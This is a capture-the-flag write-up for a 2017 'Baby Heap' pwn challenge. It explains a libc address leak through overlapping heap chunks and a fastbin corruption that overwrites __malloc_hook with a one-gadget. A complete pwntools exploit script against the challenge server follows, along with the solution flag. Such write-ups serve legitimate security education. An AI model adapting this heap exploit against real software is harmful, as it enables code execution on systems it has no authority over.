Description
Let’s practice some basic heap techniques in 2017 together!
202.120.7.218:2017
libc.so.6
TL;DR
- Overlapping two chunks to leak the address of the libc.
- Use fastbin corruption to override the value of
__malloc_hook
to one-gadget.
Exploit
===== Baby Heap in 2017 ===== |
This is a classical pwn challenge of heap with four kinds of operations: malloc
, free
, read, write. The only difference is that it use calloc
, which initialzes the memory to zero, instead of the usual malloc
. The challenge further increases its difficulty in two ways. First, it enables PIE and put the array of the malloc
pointers in a random mmap
area. Therefore, we do not know the address to launch the “unsafe unlink” attack. Second, it also enables RELRO so that we cannot change the value of GOT table to hijack the control flow. In contrast, the vulnerability is evident. We can fill the arbitrary length of input to the heap and overflow anything after that.
To solve this challenge, I first leak the address of the libc by overlapping two chunks as follows (also a common attack).
Then, I override the fd
pointer of a freed fastbin chunk to somewhere before __malloc_hook
which has a valid “chunk size.” Finally, after two malloc
of the proper size, I get a chunk which allows me to change the __malloc_hook
to one-gadget.
Note that the checking of the chunk size of the fastbin in malloc.c
is not strict. It only checks whether the size divided by 16 (64bit) equals to the same index. There is no requirement of alignment, and it views the size as a 4-byte integer. Therefore, in this challenge, I took 0x7f
as the chunk size of a 0x70
fastbin chunk.
1 | #define fastbin_index(sz) \ |
The full script is as follows.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86_64'
libc = ELF('./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1')
libc.symbols['one_gadget'] = 0x41374
bin_offset = 0x3a5678
def allocate(size):
print r.recvuntil('Command: ')
r.sendline('1')
print r.recvuntil('Size: ')
r.sendline(str(size))
def fill(index, content):
print r.recvuntil('Command: ')
r.sendline('2')
print r.recvuntil('Index: ')
r.sendline(str(index))
print r.recvuntil('Size: ')
r.sendline(str(len(content)))
print r.recvuntil('Content: ')
r.send(content)
def free(index):
print r.recvuntil('Command: ')
r.sendline('3')
print r.recvuntil('Index: ')
r.sendline(str(index))
def dump(index):
print r.recvuntil('Command: ')
r.sendline('4')
print r.recvuntil('Index: ')
r.sendline(str(index))
print r.recvuntil('Content: \n')
data = r.recvline()
print data
return data
# r = process(
# './babyheap_69a42acd160ab67a68047ca3f9c390b9',
# env={ 'LD_PRELOAD': './libc.so.6_b86ec517ee44b2d6c03096e0518c72a1' }
# )
# gdb.attach(r, '''
# c
# ''')
r = remote('202.120.7.218', 2017)
# create overlapping chunks by shrinking a free chunk's size
allocate(16) #0
allocate(480) #1
allocate(512) #2
allocate(512) #3
free(1)
fill(0, flat('A'*24, '\x30')) # shrink the chunk
allocate(128) #1
allocate(96) #4
free(1)
free(2)
# overlap the header of the remainder chunk with the forgetten chunk to
# leak the address of libc
allocate(128) #1
data = dump(4)
bin_address = u64(data[:8])
log.critical(hex(bin_address))
libc.address = bin_address - bin_offset
log.critical(hex(libc.address))
# fastbin corruption
# get a chunk just before __malloc_hook in the second allocation
fill(1, flat('B'*0x80, 0x90, 0x70)) # fix chunk meta data
free(4)
fill(1, flat('B'*0x80, 0x90, 0x70, libc.symbols['__malloc_hook']-0x23)) # override fd
allocate(96) #2
allocate(96) #4
fill(4, flat('\x00'*19, libc.symbols['one_gadget']))
# trigger __malloc_hook
allocate(96)
r.interactive()
Flag:
flag{you_are_now_a_qualified_heap_beginner_in_2017}